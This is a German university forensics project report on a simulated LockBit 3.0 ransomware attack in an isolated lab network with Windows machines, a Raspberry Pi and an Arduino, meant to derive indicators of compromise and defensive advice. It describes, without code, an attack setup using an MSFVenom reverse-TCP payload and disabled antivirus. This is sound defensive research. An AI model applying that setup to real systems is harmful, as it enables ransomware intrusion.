Hochschule Wismar
Fakultat fir Ingenieurwissenschaften
Bereich Elektrotechnik und Informatik

IT-Forensik Projekt 2

IT-forensische Untersuchung eines Ransomware-Angriffes auf ein
Computernetzwerk mit loT-Geraten fur Empfehlungen zur Erkennung und

Verhinderung zukunftiger Angriffe am Beispiel von LockBit 3.0

Eingereichtam: 23.10.2023
von: Jan-Hendrik Lang
Ralf Brotz
Christoph Muhlbauer



1 Aufgabenstellung

Wie kann eine effektive IT-forensische Untersuchung zur schnellen und prazisen
|dentifizierung von Indicators of Attack (IOAs) und Indicators of Compromise
(IOCs) fur einen Ransomware-Angriff auf ein Computernetzwerk mit Internet-of-
Things-Geraten (IOT-Geraten) (hier: Arduino und Raspberry) am Beispiel von
LockBit 3.0 aussehen, um Handlungsempfehlungen zur Erkennung und
Verhinderung zukunftiger Angriffe abzuleiten?



2 Kurzreferat

Dieser Artikel beschaftigt sich mit dem Problem von Ransomware-Angriffen und
ihrer Untersuchung in der Computerforensik. Es werden die theoretischen
Grundlagen der Computerforensik und Security Operations Center (SOC) erklart
und speziell auf Ransomware, am Beispiel von "LockBit 3.0", eingegangen. Es
wurde eine Testumgebung mit loT Geraten erstellt, um die Bedrohung durch
Ransomware-Angriffe in gemischten loT/IT-Netzwerken zu analysieren. Die
dabei gewonnenen Indicators of Attack (IOAs) und Indicators of Compromise
(IOCs) werden anhand der Festplatten-, Arbeitsspeicher- und Netzwerkforensik
ausgewertet. Ziel der Arbeit ist es, Empfehlungen fur eine praventive IT-Forensik
und somit fur Malnahmen gegen Ransomware-Angriffe zu ergreifen, um auf
solche Angriffe zu reagieren. Dabei werden zuletzt auch auf zukinftige
Forschungsmaglichkeiten in diesem Bereich hingewiesen.
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4 Einleitung

4.1 Problemstellung

Heutzutage ist Cyberkriminalitat ein wachsendes Problem, wie die Daten des
Bundeskriminalamts (BKA) fur 2021 zeigen. Ein besorgniserregender Trend, der
von der Polizeilichen Kriminalstatistik (PKS) erfasst wurde, ist der Anstieg von
Cybercrime-Delikten um 12 % im Vergleich zum Vorjahr (vgl. [1] BKA,
Bundeslagebild Cybercrime 2022, S. 14). Dabei liegt die tatsachliche Zahl
wahrscheinlich noch hoéher, wenn das Dunkelfeld berlcksichtigt werden wirde.

Mit einer Aufklarungsquote von unter 30 % besteht ein dringender Bedarf an

effektiven forensischen Techniken, um diesen Bedrohungen zu begegnen.

oehc.corsica stavbar.cz thenet.group
everstrong.com hettichbenelus. com continental.com
tekniplex, b thalesgroup. com coopavegra.fi.cr

Abbildung 1: LockBit Gang Blog, Quelle: Screenshot vom LockBit Blog
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Ein besonderes Augenmerk sollte auf Ransomware-Angriffen liegen, da sie sich
in jingster Zeit zu einer der dominantesten Cyberbedrohungen entwickelt haben.
Bei der LockBit-Gang handelt es sich um eine bekannte Gruppierung von
Cyberkriminellen, welche als Reprasentant angesehen werden kann. Dabei
attackieren die Gruppierungen nicht nur traditionelle IT-Infrastrukturen, sondern
auch Internet-of-Things (loT)-Gerate. loT-Gerate, wie der Arduino und Raspberry
Pi, werden immer haufiger in Computernetzwerken eingesetzt, insbesondere im
industriellen Umfeld. Da diese Gerate oft weniger sicher sind, kdonnen sie
Einfallstore fur solche Angriffe sein, oder sich auch Schadsoftware Uber diese
ausbreiten. Daher stellt sich die Frage, wie man Indicators of Attack (IOAs) und
Indicators of Compromise (IOCs) im Kontext eines Ransomware-Angriffes auf ein
gemischtes IT/loT-Netzwerk effektiv identifizieren kann. Hierdurch koénnen

effektive Gegenmalinahmen und Abwehrstrategien implementiert werden.

Die Hauptproblematik besteht darin, dass trotz des wachsenden Bewusstseins
fur Cyberbedrohungen die Methoden der IT-Forensik immer noch nicht
ausreichen, um die Herausforderungen, die durch gemischte IT/loT-Netzwerke
und fortschrittliche Ransomware-Software wie LockBit 3.0 geschaffen werden,
effektiv zu begegnen. Daher wird eine umfassende |IT-forensische Untersuchung
durchgefuhrt, die sowohl Live-Forensik als auch Post-Mortem-Analysen umfasst,
um IOAs und IOCs zu identifizieren und anschlieRend Handlungsempfehlungen
zur Erkennung und Verhinderung zukunftiger Angriffe abzuleiten. Das Ziel des
IT-Forensik-Projektes 2 ist es, durch die Simulation eines solchen Angriffs in
einem kontrollierten Umfeld wertvolle Erkenntnisse zu gewinnen und ein
heuristisches Modell zu entwickeln, welches zukunftige Ransomware-Angriffe

effektiv erkennt und abwehrt.

4.2 Forschungsfrage

Wie kann eine effektive IT-forensische Untersuchung zur schnellen und prazisen
|dentifizierung von Indicators of Attack (IOAs) und Indicators of Compromise
(IOCs) fur einen Ransomware-Angriff auf ein Computernetzwerk mit Internet-of-
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Things-Geraten (IOT-Geraten) (hier: Arduino und Raspberry) am Beispiel von
LockBit 3.0 aussehen, um Handlungsempfehlungen zur Erkennung und

Verhinderung zukunftiger Angriffe abzuleiten?

4.3 Forschungsziel

Entwicklung eines heuristischen Modells auf Grundlage der identifizierten
Indicators of Attack (IOAs) und Indicators of Compromise (IOCs) im Rahmen der
IT-forensischen  Untersuchung, um  zuklUnftige = Ransomware-Angriffe,
insbesondere solche, die loT-Gerate betreffen, effektiv zu erkennen, abzuwehren
und damit die Sicherheit von Computernetzwerken nachhaltig zu verbessern.

4.4 Einschrankungen des Untersuchungsgegenstandes

Der Angriff auf das Netzwerk wird mit Hilfe von MSFVenom aus der Kali Linux-
Distribution durchgefuhrt. Als Ransomware wird LockBit 3.0 eingesetzt. Weiterhin
werden, da die Muster der bisher genannten Schadsoftware Virenscannern
bekannt ist, jegliche (auch von Windows mitgelieferte) Anti-Virensoftware

deaktiviert.

4.5 Forschungsmethodik

Als Forschungsmethodik wurde sich fur den Design Science Research Prozess
von Peffers et al. (Quelle: [2] Peffers et al., 2007, S. 58) entschieden. Dieser
bietet den Vorteil, ein Modell von Beginn an zu entwickeln und zu Uberprufen.
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Abbildung 2: DSR, Quelle: [2] Peffers et al., 2007, S. 58

Dabei durchlauft der Prozess jeden der Prozessschritte mit den folgenden

Aufgaben:
1. Problem & Motivation:

Die bereits in Kapitel 4.1 ausfuhrlich besprochene Problemstellung der
zunehmenden Vernetzung von Systemen, insbesondere die Integration von loT-
Geraten in traditionelle IT-Netzwerke, hat die Angriffsflache fur Cyberkriminelle
vergrofRert. Dies wird durch den Anstieg von Ransomware-Angriffen, wie von der
BKA-Statistik 2021 bestatigt, deutlich. Die herkbmmlichen Abwehrmechanismen
und forensischen Techniken scheinen nicht mehr auszureichen, um diese neuen

Herausforderungen zu bewaltigen.
2. Solution:

Um dieser Herausforderung zu begegnen, muss ein neuartiger Ansatz zur
Identifikation von 1I0As und 10Cs entwickelt werden. Dies ermdglicht nicht nur
eine frihzeitige Erkennung von Bedrohungen, sondern auch eine schnelle
Reaktion auf solche Vorfalle. Theoretisch basiert dieser Ansatz auf dem Prinzip,
das prazise, zeitnahe Informationen gepaart mit automatisierten Reaktions-
systemen, eine robustere Verteidigung gegen fortschrittliche Angriffe

ermaoglichen kann.
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3. Design & Development:

Ein sicherer Testbereich (Laboreinrichtung) wird aufgebaut, bestehend aus
einem |T/loT-Netzwerk, das typische Gerate wie Computer, Raspberry Pi und
Arduino enthalt. In diesem isolierten Umfeld wird die Ransomware LockBit 3.0
uber einen Angriffsvektor eingefuhrt. Parallel dazu wird der Netzwerkverkehr
mitgeschnitten.

4. Demonstration:

Das Experiment wird in der Laborumgebung durchgefluhrt. Die Ransomware wird
aktiviert und versucht, das Netzwerk zu infizieren. Wahrenddessen wird der
Netzwerkverkehr mitgeschnitten und im Anschluss forensische Live- und Post-

Morten-Sicherungen vorgenommen.
5. Evaluation:

Nach Durchfuhrung des Experimentes werden die Netzwerkmittschnitte sowie
der Sicherungen nach Mustern ausgewertet. Welche Tools halfen bei der
Erkennung des Angriffs? Welche I0As und IOCs waren am nutzlichsten? Gab es
Fehlalarme (False-Positives) oder Ubersehene Angriffsindikatoren? Diese
Auswertung wird dazu beitragen, das vorgeschlagene Modell zu verfeinern und

mogliche Schwachen zu identifizieren.
6. Communication:

Die Ergebnisse, Erkenntnisse und Empfehlungen aus diesem Projekt werden in
dieser Arbeit zusammengefasst und bei der Hochschule Wismar vorgetragen.
Folgend sollen sowohl die theoretischen Grundlagen als auch die praktischen
Ergebnisse des Experiments abdecken, um nicht nur der wissenschaftlichen
Gemeinschaft als auch der Industrie einen umfassenden Uberblick (ber die

vorgeschlagene Losung und deren Wirksamkeit aufzuzeigen.

10



Theoretische Grundlagen und aktueller Stand der Technik

5 Theoretische Grundlagen und aktueller Stand der Technik

Nach der Einleitung sollen nun in zwei Kapiteln die theoretischen Grundlagen
besprochen werden. In diesem Kapitel wird die IT-Forensik, inklusive der

Unterschiede in der Analyse (Live- und Post-Mortem-Forensik) dargestellt.

5.1 IT-Forensik & SOC: Definitionen und Einsatzbereiche

Die IT-Forensik bezeichnet die Untersuchung und Analyse von Daten in
elektronischen Form. Dies beinhaltet die Untersuchung von Datentragern und
Computernetzen, um kriminelle Aktivitaten oder Sicherheitsverletzungen zu
identifizieren, zu analysieren und zu dokumentieren. Das Bundesamt fur
Sicherheit in der Informationstechnik (BSI) beschreibt die IT-Forensik als "streng
methodische Datenanalyse auf Datentragern und in Computernetzen zur
Aufklarung von Vorfallen" ([4] BSI, 2011, S. 8).

Ein Security Operations Center (SOC) hingegen ist eine zentrale Einheit, die sich
mit der Uberwachung, Erkennung, Reaktion und dem Management von
Sicherheitsvorfallen in einem Unternehmen befasst. Ein SOC arbeitet im
Schulterschluss mit den IT-Forensik-Teams, um bei einem Sicherheitsvorfall eine

schnelle und effektive Reaktion sicherzustellen.

Wenn z.B. ein IT-System durch Ransomware angegriffen wird, ist das Incident
Response-Team eines SOC die erste Instanz, die reagiert. Dies kann die
Isolierung des betroffenen Systems, die Unterbrechung der
Netzwerkkommunikation oder das Starten von Backup-Protokollen beinhalten.
Parallel dazu wird das IT-Forensik-Team aktiviert, um die Ursache des Vorfalls
zu untersuchen und Beweise zu sichern, insbesondere wenn es sich um einen
schwerwiegenden Sicherheitsvorfall oder einen Vorfall handelt, der rechtliche

Folgen haben konnte.

Die Herausforderung hierbei liegt in der effizienten Zusammenarbeit zwischen
dem SOC und der IT-Forensik. Wahrend das SOC darauf ausgerichtet ist, den
Vorfall schnell zu bewaltigen und den normalen Betrieb wiederherzustellen, zielt

11
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die IT-Forensik darauf ab, Beweise methodisch und gerichtsfest zu sammeln,
was oft Zeit erfordert. Diese beiden konkurrierenden Ziele konnen zu
Spannungen fuhren, aber eine effektive Kommunikation und klare Verfahren

konnen helfen, diese zu Uberwinden.

5.2 loT-Gerate, Live- und Post-Mortem-Forensik: Analyseansatze

In der immer mehr vernetzten Welt sind loT (Internet of Things)-Gerate
allgegenwartig. Hierdurch konnen Industrieprozesse automatisiert und
verschlankt werden. Wahrend sie also den Alltag und die Geschaftsprozesse
revolutionieren, erweitern sie aber auch die Angriffsflache fur Cyberbedrohungen
und stellen somit neue Herausforderungen fur die IT-Forensik dar.

loT-Gerate werden als Gerate bezeichnet, welche in der Regel mit dem Internet
verbunden sind und standig Daten generieren. Im Falle eines Sicherheitsvorfalls
kann es notwendig sein, diese Daten forensisch zu analysieren. Im Gegensatz
zu traditionellen Computersystemen verfugen loT-Gerate oft Uber eigene
Betriebssysteme und Speicherstrukturen, was spezialisierte Kenntnisse und

Tools fur die forensische Untersuchung erfordert.

Bei der Live-Forensik handelt es sich um den Prozess der Sammlung und
Analyse von Daten von einem aktiven System. Dies bedeutet, dass das System
zum Zeitpunkt der Untersuchung in Betrieb ist. Die Live-Forensik ist besonders
wichtig, um fluchtige Daten =zu erfassen, wie z.B. den aktuellen
Arbeitsspeicherinhalt, laufende Prozesse oder aktive Netzwerkverbindungen.
Dies ist von besonderem Interesse, wenn ein System gerade von einem Angreifer
kompromittiert wurde oder wenn es Anzeichen gibt, dass es aktiv fur schadliche

Aktivitaten genutzt wird.

Im Gegensatz dazu steht die Post-Mortem-Forensik, bei der Daten von einem
System analysiert werden, das nicht mehr in Betrieb ist oder nachdem ein Vorfall
aufgetreten ist. Hierbei wird in der Regel ein forensisches Image, also ein

bitgenaues Abbild des Systems erstellt, um die Originaldaten nicht zu verandern.

12
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Ein Hauptaugenmerk der Post-Mortem-Analyse, wie vom BSI betont, ist die
Untersuchung geldschter, umbenannter und anderweitig versteckter sowie
verschlusselter Dateien (vgl. [4] BSI, 2011, S. 13).

5.3 IOAs, IOCs: Sicherheitsindikatoren und Ransomware-Messmethoden

Mithilfe von Indicators of Attack (IOAs) und Indicators of Compromise (IOCs),
welche durch spezielle Werkzeuge und Techniken gewonnen werden, konnen
schadliche Aktivitaten schnell identifiziert werden und Bedrohungen analysiert
werden. Hierdurch konnen potenzielle Sicherheitsvorfalle schneller erkennt

werden.

Indicators of Attack (IOAs) sind Anzeichen fur eine aktive andauernde
Bedrohung. Sie beziehen sich auf taktische Aktionen, die aktuell von Angreifern
unternommen werden, um in ein |T-System einzudringen. Im Unterschied zu
IOCs, die meist darauf abzielen, eine Kompromittierung nach deren Eintreten zu
erkennen, helfen |OAs dabei, Angriffe in Echtzeit oder wahrend ihrer
Durchfuhrung zu identifizieren. Beispiele fur IOAs konnen ungewohnliche
Datenverkehrsmuster, verdachtige Systemaktivitaten oder Anomalien in der

Benutzeraktivitat sein.

Indicators of Compromise (IOCs) sind Beweise dafur, dass ein System bereits
kompromittiert wurde. Sie sind oft spezifische Datenpunkte wie Malware-Hash-
Werte, verdachtige IP-Adressen oder Domains und ungewohnliche Dateipfade.
Mit Hilfe von IOCs konnen Sicherheitsexperten bestimmen, ob ein System bereits
beeintrachtigt ist und rasche MalRnahmen zur Einddmmung und Behebung

ergreifen.

In der Welt der Ransomware, wie zum Beispiel bei LockBit 3.0 (auf das in Kapitel
6 eingegangen wird), sind IOAs und IOCs von unschatzbarem Wert.
Ransomware ist darauf spezialisiert, Daten zu verschlusseln und Losegeld-
forderungen zu stellen. Das fruhzeitige Erkennen von |IOAs konnte den Angriff

stoppen, bevor die Ransomware ihre Verschlusselung durchfuhrt. Auf der

13
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anderen Seite konnen IOCs dazu verwendet werden, bereits infizierte Systeme

zu identifizieren und das Ausmalf der Infektion zu bestimmen.

In der Zusammenarbeit mit IT-Forensik-Methoden sind sowohl IOAs als auch
IOCs wesentliche Bestandteile bei der Erkennung und Untersuchung von
Vorfallen.

14
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6 Ransomware am Beispiel von LockBit 3.0

Nachdem zuvor eine theoretische Einfuhrung in die IT-Forensik gegeben wurde,
so wird nachfolgend auf die speziellen Charakteristika von Ransomware

eingegangen.

6.1 Definition Ransomware

Neben Viren, Widrmen und Trojanern zahlt Ransomware zu einer der
schadlichsten Arten von Schadsoftware. Sie ist darauf spezialisiert, den Zugriff
auf Dateien oder ganze Systeme zu blockieren und diese gegen Losegeld wieder
freizuschalten. Loscht hingegen die Schadsoftware die Daten, so ist von einem
Wiper die Rede. Deren Verwendung hat seit dem russischen Angriffskrieg eine

massiven Anstieg erlebt. Bei Ransomware kann zwischen:

a) Single extortion: Einfaches Verschlisseln der Daten und Erpressung von
Losegeld fur einen Freischaltungsschlussel,

b) Double extortion: Hierbei werden zusatzlich noch Daten gestohlen und es wird
bei Zahlungsverweigerung mit der Veroffentlichung der Daten gedroht.

c) Triple extortion: Zusatzlich werden hier noch die Daten der Geschaftspartner
(Dritter) gestohlen und mit der Veroffentlichung gedroht.

Neben einem Ransomware-Angriff wird meist bei einem Angriff durch einen ATP
auch ein DDOS-Angriff durchgefuhrt. Hiermit will der Tater sich als potenter

Angreifer darstellen.

Das Vorgehen von Cyberkriminellen kann anhand des MITRE ATT&CK
Frameworks beschrieben werden. Dabei stellt das MITRE ATT&CK Framework
eine Wissensdatenbank Uber Taktiken und Techniken zur Verfugung, welche auf
realen Bedrohungen beruhen. Das Vorgehen wird dabei in 14 Schritte unterteilt
und teilt sich auf in:
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1. Reconnaissance,

2. Resource Development,
3. Initial Access,

4. Execution,

5. Persistence,

6. Privilege Escalation,

7. Defense Evasion,

8. Credential Access,

9. Discovery,

10. Lateral Movement,

11.  Collection,

12.  Command and Control,
13.  Exfiltration,

14. Impact.

6.2 Definition LockBit 3.0

Die Entstehungsgeschichte von LockBit geht auf das Jahr 2019 zuruck. Sie
wurde initial durch die Gruppe Bitwise Spider hergestellt und vertrieben. Die
Weiterentwicklung im Jahr 2021 ging auch mit einer Entwicklung zum
Ransomware-as-a-Service-Geschaftsmodell einher. Hier bendtigt der Angreifer
keine der herkdbmmlichen Fahigkeiten, um Ransomware zu erstellen und zu
verbreiten, RaaS ermdglicht es vielmehr auch technisch nicht versierten
Personen, Ransomware-Angriffe zu starten. Ahnlich dem verbreiteten Software-
as-a-Service Modell.

16
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Abbildung 3: Entstehung und Weiterentwicklung von LockBit, Quelle: Angepasster Screenshot
GitHub Orange Security

Da LockBit 3.0 in der Vergangenheit besonders in komplexen Umgebungen wie
Krankenhausern in den USA aufgetreten ist, gibt es eine gute Dokumentation
uber die Vorgehensweise mit dem oben erwahnten MITRE Framework. Dies ist
in Abbildung 4 dargestellt.

TABLEI
MITRE TACTICS AND TECHNIQUES
Initial Execution | Persistence | Privilege Defence | Discovery | Lateral Exfiltration | Impact
access escalation evasion movement
T1566 - | T1204 T1547 T1134 - | T1562 - | T1083 - T1570 - T1567 - T1486
Phishing | - User | - Boot | Access Impair File and | Lateral tool | Exfiltration | - Data
Execution | or logon | token ma- defences | directory transfer over web | encrypted
autostart nipulation discovery service for impact
execution
T1078 T1135 - T1489
- Valid Network Service
accounts Share stop
Discovery
T1491
Deface-
ment

@Mapped from Trend Micro and Cybersecurity Infrastructure Security Agency.

Abbildung 4: MITRE ATT&CK Map, Quelle: Akinyemi et. al.

Von besonderem Interesse ist hier, dass der Builder im Jahr 2022, mutmallich
durch einen ehemaligen Programmierer, veroffentlicht wurde und fur die
Offentlichkeit  verfligbar war. Dies ist besonders interessant fir
Sicherheitsforscher, da sonst die Software zum Herstellen der Verschlusselungs-
software unter Verschluss bleibt. Ein erster Angriff zur Analyse des Builders, bzw.
auch der eigentlichen Verschlusselungssoftware mit Radare2 konnte jedoch
keine interessanten Ergebnisse erzielen. Bei Radare2 handelt es sich um ein
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Tool flr Reverse-Engineering und der Analyse von Binardateien.

Datei Edit Anzeige Fenster Debug Hilfe
LTI T T LT
Functions B1% strings og|
Name * Address  string Tpe | Linge  Size  Sekton  Comment
» @ entryo 0x0042f63¢  GetTextColor a1 e =
» ( fcn.00a0lg  OX0D42fG4c  SelectObject Asci 12 13 rsrc
0x0042f65¢  Selectpalette ascl 13 1 e
» Bien00a0l0 g0 otese st asal e 9 rerc
» B 004010 400400676 gaiz2.dl ascl o 10 rsrc
» @ {00801 000421682 CreateDialogParam ascl 18 19 e
» @ fn004011  0x0042/698 CreateWindowEXW. asci 15 16 e
» (B fn004013  0x0042f6aa DefWindowProcW ascl 14 15 rsrc
V@ fenoosold  Ox0042i6bc GetDigitem ascl 10 1 e
Y B 0x0042f6ca  IsDigButtonChecked asal 18 19 rerc
fen004015 4 b04afe0  Loadimagew ascl 10 n rsrc
» B 008015 o00a16ee LoadMenuw ascl e 10 sc
» @ fn004016  oxo0a2féfe  USER32.ll asci 10 1 e
» @ fcn.004016  OX0D42(706 FreeLibrary Asci 11 12 rsrc
b @ fen00d01g  OX0D42(714 GetCommandLineA ascl 15 16 sc
+ @ fenoodor7  0X0042726  GetCommandLineW asar 15 16 rerc
Y (b fonoosony | 000420738 Gethleattibutes ascl 18 19 rsrc
0x0042174e  GetlastError ascl 12 13 sc
» (B fen.004018 00042750 GetLocalelnfoW asal 14 15 rerc
» (004018 0x0042770 GetModuleHandleA Asci 16 17 rsrc
» (00401 OX0042M7B4 GetProcaddress ascl 14 15 src
» @ fen00s01g _OX0042(704 KERNEL32.dl ascl 12 13 rerc
» @ fen.004024
S foroosaey | 0K004ZISeR LockBit Blackirin\nAll your important... UTF16LE 174 350 src
0004215t wtsapiz2.dil asar 12 1 rerc
» B 004024 ox0042Mbga KIbQR Asci 4 5 rsrc
» (B fcn.002026  0x0042Mbdb ANnf ascl 4 5 rsrc
» (9 fen00s02g  Ox0042ic2a SQRVW asci s 6 rerc
» @ fenooa027  0x0042(c86 Elbu Asci 4 5 rsrc
ox00a2icbb _~2¥l asci s 6 rsrc
* B n008029 o, g000tcet wisapizz.di asal 12 13 rerc
> @ fen008023 50042186 HUSVH asal s 6 rsrc
» @ fen.00402e 0x0042fd9b Annf ASCIL 4 s rsrc
2 (B fen 00403 [Quick sektion: [(al) ~
Guck Fiter | x | 8396 Objekte
Dashboard | strings | Imports | Search | Disassembly | Graph (entry0) ~ Hexdump Decompiler (entryo)

home/tsurugi/Desktop/bullder.exe

Abbildung 5: Radare2 Analyse,
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7 Aufbau der Testumgebung

Switch
192.168.2.100

[ H—L_ )
Speedport
Router

DHCP o
192.168.2.1 Mirroring

Port 1

/ R

Primares Ziel )
Angreifer Windows Windows
Raspi Kali Laptop PC .104
.102 103
Arduino Raspberry
129 Pl Zer0
(stat.) 105

Abbildung 6: Netzwerkschema

7.1 Verwendete Komponenten

Fir die Testumgebung wurden im ersten Schritt folgende Netzwerkkomponenten

Teilnehmer und Hardware verwendet:

7.1.1 Speedport-Router

Ein Speedport-Router W 502V der Telekom wurde als DHCP-Server verwendet.
Vor Inbetriebnahme wurde er auf Werkseinstellung zurtickgesetzt. Die W-LAN-
Funktionalitédt wurde deaktiviert, eine Internetverbindung wurde ebenfalls nicht
eingerichtet.
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Switch
192.168.2.100

[ )
Speedport
Router

DHCP
192.168.2.1

Abbildung 7: Router

7.1.2 Switch

Switch
192.168.2.100

X ol
Speedport
Router

\J

DHCP R
192.168.2.1 Mirroring

Abbildung 8: Switch

Als Switch wurde ein konfigurier TP-Link-Switch mit 10 Ports eingesetzt. Da wir
mit dem an Port 1 befindlichen Angriffsrechner den kompletten Netzwerkverkehr
mitschneiden mochten, ist es erforderlichen, den Port Nr. 1 als Mirroring-Port
einzurichten. Alle anderen Ports wurden darauf gespiegelt.

Dies ist erforderlich, um alle Pakete mitprotokolieren zu konnen, die im Netzwerk
versendet werden, andernfalls wirden an dem Port nur die Pakete ankommen,
die fur die korrespondierende, angeschlossene IP-Adresse bestimmt sind, oder
Broadcast Meldungen.
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7.1.3 Angreifer
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e

Speedport
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Abbildung 9: Angreifer

Als angreifendes Gerat wurde ein Raspberry Pi 4B ausgewahlt. Auf dem Rechner
befindet sich ein speziell auf den Raspberry angepasstes Kali-Linux-System. Die
verwendeten Programme sind vorinstalliert. Es wurde Wireshark zur
Protokollierung des Netzwerkverkehrs genutzt — hierzu wurde der Raspberry
physikalisch mit dem Port 1 des Switches verbunden - sowie das MetaSploit
FrameWork (kurz MSFW) zur Erstellung der Reverse-TCP-Payload und zum
Offnen eines Listeners. Ebenso wurde Python 3.0 zur Erzeugung eines einfachen

Download Servers genutzt.

7.1.4 Angriffsziel Laptop

Switch
192.168.2.100
2 ol
Speedport
Router

DHCP o
192.168.2.1 Mirroring

-
[\

Windows
PC .104

Arduino Raspberry
-129 Pl Zer0
(stat.) 105
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Abbildung 10: Angriffsziel Laptop

Als primares Angriffsziel wurde ein Windows 10 Laptop von Aquado benutzt. Das
Betriebssystem wurde speziell fir den Versuch neu aufgesetzt. Auf dem Rechner
wird die Payload ausgefuhrt und ferngesteuert der Trojaner gestartet.

7.1.5 Angriffsziel Desktop

Switch
192.168.2.100

( =)

Speedport
Router

DHCP )
192.168.2.1 Mirroring

< I

£

Angreifer Windows
Raspi Kali Laptop

indows
'102 D .103

Arduino Raspbery
129 Pl Zer0
(stat) 105

Abbildung 11: Angriffsziel Desktop

Als weiteres Angriffsziel wurde ein Desktop PC mit Windows 10 von HP
ausgewahlt. Dieses Ziel wird nicht direkt angegriffen, die spater aufgespielten
Testdaten werden lediglich teilweise im Netzwerk freigegeben, um zu prifen,
inwiefern die Schadsoftware selbststandig weitere Netzwerkbereiche befallt.
Auch dieses System wurde vor dem Versuch neu aufgesetzt.
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7.1.6 Angriffsziel Raspberry Pi Zero
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Abbildung 12: Raspberry Pi Zero

Als potenzielles Angriffsziel aus dem Bereich der |OT-Gerate wurde ein weiterer
Raspberry Pi, dieses Mal in der Ausfuhrung Zero WH, gewahlt. Diese Gerate auf
Linux-Basis werden haufig fur verschiedenste Anwendungen im Netzwerk
verwendet, sei es als Datenserver, Medienserver, zur Verwaltung und Steuerung
von Heimautomationsgeraten, oder auch zur Steuerung von Turen, Torantrieben
oder in Kombination mit Kameras in automatischen Zugangssystemen. Auch
dieses System wird nicht direkt angegriffen, sondern die darauf aufgespielten

Daten werden lediglich im Netzwerk freigegeben.

7.1.7 Angriffsziel Arduino Uno R3

Switch
192.168.2.100

D) z
Speedport
Router
DHCP o
192.168.2.1 Mirroring
Port 1
] H
e % =
A———IN

Priméres Ziel )
Angreifer Windows Windows
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102 103
Raspberry
Pl Zer0
105

Abbildung 13: Arduino Uno R3

Als weiteres potentielles Angriffsziel aus dem Bereich der |IOT-Gerate wurde ein
Arduino Uno R3 von Elegoo mit Ethernet Shield ausgewanhlt. Im Gegensatz zu
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den anderen Netzwerkteilnehmern lauft auf einem Arduino kein eigenstandiges
Betriebssystem. Die Aufgaben, die ein Arduino erflllt, auch hier wieder z.B.
wieder im Home-Automation-Bereich, als intelligente Wetterstation, die ihre
Daten als Webseite zur Verfugung stellt, Lichtsteuerung, Antriebssteuerung etc.
Diese mussen alle speziell programmiert und auf den Microcontroller aufgespielt
werden. Um Daten abspeichern und den Arduino im Netzwerk erreichen zu
konnen, wurde er zusatzlich mit einem Ethernet Shield mit SD-Card-Slot
ausgestattet. Die IP-Adresse muss im Code statisch konfiguriert werden, in
unserem Fall wurde die Nr. 192.168.2.129 gewahlt.

7.1.8 Optionales Angriffsziel Raspberry Pl 1 Model B

Abbildung 14: Raspberry Pi 1Model B

Der Raspberry Pi 1 Model B wurde ursprunglich als primares |0T-Gerat
vorgesehen. Leider ist die Rechenleistung des Raspberry zu schwach, um mit
dem aktuellen (2023) Release des Raspian Pl OS ,Bullseye“ performant zu
funktionieren. Die letzte sinnvoll zu verwendende Version stellt Raspbian OS
.Buster” dar. Diese Version unterstutzt jedoch die aktuelle Version von VNC
Server nicht, was in der weiteren Folge zu der Problematik fuhrt, das zusatzliche
Hardware fur einen externen Bildschirm verwendet werden muss. Weiterhin
unterstutzt diese Konfiguration die aktuelle Version von ,Samba“ nicht. Der
Samba-Server stellt das SMB-Protokoll zum File-Sharing zur Verfugung. Somit
kann der Raspberry Pi 1 zwar grundsatzlich ins Netzwerk eingebunden werden,
auch Testfiles konnen auf die SD-Karte des Raspberry kopiert werden, allerdings
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kann keine Nutzerfreigabe der Daten erfolgen. Somit wurde in weiterer Folge auf
den Raspberry Pl 1 verzichtet. Als Ersatz fur den Raspberry Pl 1 wurde ein
Raspberry Zero WH gewahit.

7.2 Vorbereitende Tatigkeiten

7.2.1 Erstellung von Testfiles und Netzwerkfreigaben

Die Ransomware LockBit ist darauf abgestimmt, Nutzerdaten zu verschlusseln,
insbesondere werden Office-Dokumente, Bilder und PDF-Dateien angegriffen.
Entsprechend wurde ein Ordner mit Testfiles, bestehend aus verschiedenen
Officedateien und anderen Formaten (doc, docx, xlIs, xIsx, ppt, pptx, pdf, jpg,
bmp), zusammengestellt. Diese Testdateien wurden auf alle Systeme und
Datentrager im Netzwerk aufgebracht.

Es wurden jeweils zwei Verzeichnisse mit Testfiles erzeugt. Lediglich auf der SD-
Karte des Arduinos wurde nur ein Verzeichnis erzeugt. Auf den anderen Geraten
wurde jeweils ein Verzeichnis im Netzwerk freigegeben, der andere Ordner
wurde nur in der Standardeinstellung lokal freigegeben. Hieran soll spater
identifiziert werden, wie die Ransomware mit den im Netzwerk befindlichen direkt
und indirekt angegriffenen Systemen interagiert.

Als zusatzliche Vorarbeit wurde sowohl die Windows-Firewall als auch alle
Einstellungen des Windows-Defender deaktiviert, sowie das aufgebaute
Netzwerk als privat deklariert.

Einer der beiden Ordner mit den Testdateien, befindlich auf dem Desktop, wurde
im Netzwerk freigegeben und der Zugriff auf den Rechner durch andere Nutzer
im Netzwerk nach Anmeldung freigegeben. Der freigegebene Ordner des HP-
Desktop wurde beim ersten Angriffsversuch nicht als Laufwerk angemeldet, es
wurde lediglich der Benutzer am freigegebenen Netzwerkgerat angemeldet, so
dass ein Zugriff auf die Daten moglich war.
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Erst beim zweiten Angriffsversuch wurde der freigegebene Ordner zusatzlich als

Laufwerk angemeldet.

Der Raspberry Pi als kostengunstiger Einplatinen-Rechner wird haufig in privaten
Netzwerkumgebungen fur verschiedenste Aufgaben verwendet. Unter anderem
kommt er als Medienserver zum Einsatz, auch als Webserver oder zum
Filesharing. Des Weiteren werden haufig IOT-Anwendungen mit dem Raspberry
realisiert, wie beispielsweise intelligente Home-Automationen, Lichtsteuerung,

Garagentor-, und Zugangsautomationen, Uberwachung mit Kameras etc.

Entsprechend liegen ggf. sensible Daten auf dem Gerat vor. Neben vielen
anderen Betriebssystemen sieht der Hersteller ein spezifisches Raspberry OS
vor. Dieses OS basiert auf Debian-Linux. Entsprechend stellt sich die Frage, wie
ein solches System von Ransomware, die einen Windows Rechner angreift, in
Mitleidenschaft gezogen werden wurde und wie die ggf. sensiblen Daten darunter

leiden konnten.

Uber den speziell veroffentlichten Imager wurde die SD-Karte mit dem aktuellen
Raspbian Pl OS ,bullseye” geflasht. Nach der Erstinstallation wurde die Option
VNC aktiviert. Weiterhin wurde ein Samba-Server (ver. 4.18) zur SMB-Freigabe

installiert.

Um mit dem Raspberry Pi Zero Filesharing nutzen zu kdnnen, muss in den
Optionen ,Apps und Features” der Windows Rechner ,SMB 1.0 Support® aktiviert
werden. Dies ist bei Windows 10 standardmafig deaktiviert, da hiermit

verschiedene Vulnerabilities erzeugt werden.

